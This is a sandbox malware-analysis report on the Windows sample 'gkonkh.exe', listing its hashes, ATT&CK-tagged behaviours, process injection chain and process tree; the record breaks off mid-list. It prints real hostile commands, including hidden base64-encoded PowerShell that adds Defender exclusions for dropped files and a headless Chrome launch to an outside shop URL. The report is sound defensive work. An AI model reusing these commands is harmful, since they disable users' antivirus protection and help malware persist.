e4f6682204ce8ca3a7c7d5b26fa08a367dea4f33969013f3b840f8aaf3e3ed34

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20250410-en
resource tags

arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
submitted
29/04/2025, 12:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
gkonkh.exe
Size 5.6MB
Sample250429-prhejs1pv7
SHA256 e4f6682204ce8ca3a7c7d5b26fa08a367dea4f33969013f3b840f8aaf3e3ed34
MD5 f31717eaaa7df978792a8a9344568fdd
SHA1 5fef004be1e6bb7670be7a3e9f71656233a28add
SHA512 eef04ecb45d6ef250b9074f277f6ad9e2fbb1fd1ad878a76cc9d59bf3a0162ebaf116ba0fa8d5119d1c02f76161f56886562eba1833c0441e0705e2c7537d5ba
SSDEEP 98304:ZsGOOjWmCwBGlu73164Y6tn63iJAGasLpV25aTGxYh7PCYDpk9pkyo90:jgmCo73sr3CZaslV25aCSh7PlFYCh6
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe
4092	powershell.exe
472	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
6	1192	aspnet_compiler.exe

Executes dropped EXE 9 IoCs

pid	Process
2004	info.exe
1416	VC_redist.x86.exe
3864	dotNetFx46_Full_setup.exe
3232	Value.exe
1784	cgyav.exe
4500	info.exe
576	CanReuseTransform.exe
2332	VC_redist.x86.exe
1116	dotNetFx46_Full_setup.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3232 set thread context of 1192	3232	Value.exe	90
PID 576 set thread context of 5168	576	CanReuseTransform.exe	95

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gkonkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cgyav.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133904037499190281"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2627618461-2240074273-3604016983-1000\{54F79985-2795-487B-9F61-6E4F3FAE6365}	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2228	powershell.exe
2228	powershell.exe
4092	powershell.exe
4092	powershell.exe
1192	aspnet_compiler.exe
1192	aspnet_compiler.exe
576	CanReuseTransform.exe
576	CanReuseTransform.exe
472	powershell.exe
472	powershell.exe
1140	chrome.exe
1140	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe
1140	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	VC_redist.x86.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	3864	dotNetFx46_Full_setup.exe
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	3232	Value.exe
Token: SeDebugPrivilege	1192	aspnet_compiler.exe
Token: SeDebugPrivilege	576	CanReuseTransform.exe
Token: SeDebugPrivilege	472	powershell.exe
Token: SeDebugPrivilege	5168	InstallUtil.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe
Token: SeCreatePagefilePrivilege	1140	chrome.exe
Token: SeShutdownPrivilege	1140	chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1140	chrome.exe
1140	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3156 wrote to memory of 2004	3156	gkonkh.exe	78
PID 3156 wrote to memory of 2004	3156	gkonkh.exe	78
PID 3156 wrote to memory of 1416	3156	gkonkh.exe	82
PID 3156 wrote to memory of 1416	3156	gkonkh.exe	82
PID 3156 wrote to memory of 3864	3156	gkonkh.exe	86
PID 3156 wrote to memory of 3864	3156	gkonkh.exe	86
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 3232 wrote to memory of 1192	3232	Value.exe	90
PID 1192 wrote to memory of 1784	1192	aspnet_compiler.exe	91
PID 1192 wrote to memory of 1784	1192	aspnet_compiler.exe	91
PID 1192 wrote to memory of 1784	1192	aspnet_compiler.exe	91
PID 1784 wrote to memory of 4500	1784	cgyav.exe	92
PID 1784 wrote to memory of 4500	1784	cgyav.exe	92
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 576 wrote to memory of 5168	576	CanReuseTransform.exe	95
PID 1784 wrote to memory of 2332	1784	cgyav.exe	96
PID 1784 wrote to memory of 2332	1784	cgyav.exe	96
PID 5168 wrote to memory of 1140	5168	InstallUtil.exe	99
PID 5168 wrote to memory of 1140	5168	InstallUtil.exe	99
PID 1140 wrote to memory of 1016	1140	chrome.exe	100
PID 1140 wrote to memory of 1016	1140	chrome.exe	100
PID 1140 wrote to memory of 844	1140	chrome.exe	101
PID 1140 wrote to memory of 844	1140	chrome.exe	101
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 4020	1140	chrome.exe	103
PID 1140 wrote to memory of 5032	1140	chrome.exe	104
PID 1140 wrote to memory of 4020	1140	chrome.exe	103
PID 1140 wrote to memory of 5032	1140	chrome.exe	104
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102
PID 1140 wrote to memory of 2028	1140	chrome.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\gkonkh.exe
"C:\Users\Admin\AppData\Local\Temp\gkonkh.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3156
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\info.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\info.exe"
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\dotNetFx46_Full_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\dotNetFx46_Full_setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAcABSAGUAZgBFAFIARQBuAGMARQAgAC0ARQBYAGMAbAB1AFMAaQBvAG4AcABBAFQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUwBhAGYAZQBXAGEAaQB0AEgAYQBuAGQAbABlAFwAVgBhAGwAdQBlAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXAAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBGAE8AUgBDAEUAOwAgAGEARABEAC0ATQBwAFAAUgBFAGYAZQByAGUAbgBDAEUAIAAtAEUAWABDAGwAVQBzAEkATwBuAFAAUgBPAEMAZQBTAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABTAGEAZgBlAFcAYQBpAHQASABhAG4AZABsAGUAXABWAGEAbAB1AGUALgBlAHgAZQAgAC0AZgBvAHIAQwBFAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwBhAG4AUgBlAHUAcwBlAFQAcgBhAG4AcwBmAG8AcgBtAC4AZQB4AGUAOwA=
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4092

C:\Users\Admin\AppData\Roaming\SafeWaitHandle\Value.exe
C:\Users\Admin\AppData\Roaming\SafeWaitHandle\Value.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Users\Admin\AppData\Local\Temp\cgyav.exe
    "C:\Users\Admin\AppData\Local\Temp\cgyav.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\info.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\info.exe"
      4⤵
      Executes dropped EXE
      PID:4500
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
      4⤵
      Executes dropped EXE
      PID:2332
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\dotNetFx46_Full_setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\dotNetFx46_Full_setup.exe"
      4⤵
      Executes dropped EXE
      PID:1116

C:\Users\Admin\AppData\Local\Position\wdwfduvw\CanReuseTransform.exe
C:\Users\Admin\AppData\Local\Position\wdwfduvw\CanReuseTransform.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:576
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --no-default-browser-check --no-first-run --new-window "https://enyaa.shop/?p=120&d=204&title=" --mute-audio --autoplay-policy=no-user-gesture-required --gpu --gpu-launcher --in-process-gpu
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\szuhn /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\szuhn\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\szuhn --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffd7607dcf8,0x7ffd7607dd04,0x7ffd7607dd10
      4⤵
      PID:1016
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --field-trial-handle=2912,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:11
      4⤵
      PID:844
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --field-trial-handle=1916,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:13
      4⤵
      PID:2028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2736,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=2992 /prefetch:1
      4⤵
      PID:4020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2744,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:1
      4⤵
      PID:5032
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3052,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:1
      4⤵
      PID:4796
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --extension-process --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3452,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:9
      4⤵
      PID:3068
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3476,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:1
      4⤵
      PID:5388
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --extension-process --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3492,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:9
      4⤵
      PID:1904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --video-capture-use-gpu-memory-buffer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --field-trial-handle=5060,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:14
      4⤵
      PID:2036
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mute-audio --video-capture-use-gpu-memory-buffer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --field-trial-handle=6136,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
      4⤵
      PID:2496
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=6192,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:1
      4⤵
      PID:4188
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=6220,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
      4⤵
      PID:5456
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=6444,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:1
      4⤵
      PID:4324
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=6424,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:1
      4⤵
      PID:1624
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --video-capture-use-gpu-memory-buffer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --field-trial-handle=6932,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:14
      4⤵
      PID:5700
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=6740,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=7048 /prefetch:1
      4⤵
      PID:5984
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=6420,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:1
      4⤵
      PID:3244
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\szuhn" --enable-dinosaur-easter-egg-alt-images --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=6440,i,5367651457351469595,998869977704820246,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:1
      4⤵
      PID:5316
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
